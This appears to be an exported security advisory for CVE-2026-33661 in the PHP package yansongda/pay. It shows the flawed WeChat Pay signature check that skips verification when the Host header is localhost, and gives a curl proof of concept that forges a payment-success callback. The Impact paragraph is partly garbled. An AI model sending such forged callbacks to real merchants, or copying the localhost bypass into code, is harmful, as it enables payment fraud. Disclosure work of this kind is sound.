yansongda/pay
Affected
- introduced
0, fixed3.7.20(ecosystem)
Fixed versions
3.7.20
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-33661
WeChat Pay callback signature verification bypassed when Host header is localhost
Summary
The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.
This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.
Vulnerable Code
`src/Functions.php` lines 243-246:
function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
// BYPASS: Returns without any signature check if Host header is localhost
if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
return; // No signature verified!
}
// ... openssl_verify() only reached when Host != localhost
$wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
$sign = $message->getHeaderLine('Wechatpay-Signature');
$result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}
In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.
Proof of Concept
curl -X POST https://merchant.example.com/payment/wechat/callback \
-H "Host: localhost" \
-H "Content-Type: application/json" \
-H "Wechatpay-Serial: any" \
-H "Wechatpay-Timestamp: 1234567890" \
-H "Wechatpay-Nonce: abc" \
-H "Wechatpay-Signature: AAAA" \
-d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'
verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.
Impact
yansongda/pay for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.High Basis: The source's own band: HIGH
0, fixed 3.7.20 (ecosystem)3.7.20
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0